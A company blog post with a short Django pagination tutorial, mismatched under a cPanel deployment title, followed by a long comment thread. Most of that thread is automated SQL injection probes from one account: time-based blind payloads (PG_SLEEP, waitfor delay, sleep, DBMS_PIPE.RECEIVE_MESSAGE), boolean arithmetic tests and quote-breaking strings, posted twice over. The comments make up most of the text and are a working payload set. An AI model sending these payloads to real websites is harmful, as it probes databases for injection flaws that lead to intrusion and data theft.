Django Project Deploy in cpenal
Oct 20, 2022
In Pagination technique, we break a big data to multiple pages that improves the user experience and speed of loading. Django provides a Paginator class for this purpose. The easiest way for this task is expalined here.
Add at the top of views.py
from django.core.paginator import Paginator,EmptyPage, PageNotAnInteger
In blog function add this code:
def blog(request):
posts = Post.objects.all() # fetching all posts
p = Paginator(posts, 5) # creating a paginator object
page_number = request.GET.get('page') # getting the desired page number from url
try:
page_obj = p.get_page(page_number) # returns the desired page object
except PageNotAnInteger:
# if page_number is not an integer then assign the first page
page_obj = p.page(1)
except EmptyPage:
# if page is empty then return last page
page_obj = p.page(p.num_pages)
return render(request, 'index.html', {'page_obj': page_obj})
Now in template add this:
{% for x in page_obj.object_list %}
# your content should be here--------------------
<p>{{x.title}}</p>
{% endfor %}
# Your pagination at the bottom------------------------
{%if page_obj.has_previous %} {# whether the previous page exists #}
<a href="?page={{page_obj.previous_page_number}}"><</a> {# link to the prev page #}
{% endif %}
<span>{{page_obj.number}}</span> {# the current page number #}
{%if page_obj.has_next %} {# whether the next page exists #}
<a href="?page={{page_obj.next_page_number}}">></a> {# link to the next page #}
{% endif %}
The final page is here:
Please share this page to friends.
Welcome to our Software Solutions Company, where we excel in transforming ideas into tangible realities. We have expertise in developing online management systems, website designing & development, software solutions, mobile app development, e-commerce solutions and graphic designing. We provide 24/7 services.
pHqghUme
Oct 29, 2024
@@xWiCp
pHqghUme
Oct 29, 2024
����%2527%2522\'\"
pHqghUme
Oct 29, 2024
'"
pHqghUme
Oct 29, 2024
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
pHqghUme
Oct 29, 2024
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme
Oct 29, 2024
zkTLJbyx')) OR 639=(SELECT 639 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
RKCSqjyD') OR 460=(SELECT 460 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
vt1x1XsT' OR 113=(SELECT 113 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1)) OR 111=(SELECT 111 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1) OR 352=(SELECT 352 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1 OR 902=(SELECT 902 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
gjy7mVTV'; waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1 waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1); waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1; waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme
Oct 29, 2024
0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme
Oct 29, 2024
0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme
Oct 29, 2024
*if(now()=sysdate(),sleep(15),0)
pHqghUme
Oct 29, 2024
-1" OR 3+152-152-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1" OR 2+152-152-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1' OR 3+951-951-1=0+0+0+1 or 'Njxbn96L'='
pHqghUme
Oct 29, 2024
-1' OR 2+951-951-1=0+0+0+1 or 'Njxbn96L'='
pHqghUme
Oct 29, 2024
-1' OR 3+289-289-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1' OR 2+289-289-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1 OR 3+229-229-1=0+0+0+1
pHqghUme
Oct 29, 2024
-1 OR 2+229-229-1=0+0+0+1
pHqghUme
Oct 29, 2024
-1 OR 3+502-502-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1 OR 2+502-502-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
ARy1Iam1
pHqghUme
Oct 29, 2024
@@kkDEM
pHqghUme
Oct 29, 2024
����%2527%2522\'\"
pHqghUme
Oct 29, 2024
'"
pHqghUme
Oct 29, 2024
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
pHqghUme
Oct 29, 2024
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme
Oct 29, 2024
PPkJaxtw')) OR 575=(SELECT 575 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
K2QBqT6w') OR 371=(SELECT 371 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
kKviicP2' OR 598=(SELECT 598 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1)) OR 358=(SELECT 358 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1) OR 485=(SELECT 485 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1 OR 452=(SELECT 452 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
9ojRWCLt'; waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1 waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1); waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1; waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme
Oct 29, 2024
0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme
Oct 29, 2024
0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme
Oct 29, 2024
*if(now()=sysdate(),sleep(15),0)
pHqghUme
Oct 29, 2024
-1" OR 3+517-517-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1" OR 2+517-517-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1' OR 3+602-602-1=0+0+0+1 or 'c8heRJAl'='
pHqghUme
Oct 29, 2024
-1' OR 2+602-602-1=0+0+0+1 or 'c8heRJAl'='
pHqghUme
Oct 29, 2024
-1' OR 3+801-801-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1' OR 2+801-801-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1 OR 3+546-546-1=0+0+0+1
pHqghUme
Oct 29, 2024
-1 OR 2+546-546-1=0+0+0+1
pHqghUme
Oct 29, 2024
-1 OR 3+11-11-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1 OR 2+11-11-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
CpUwe6Le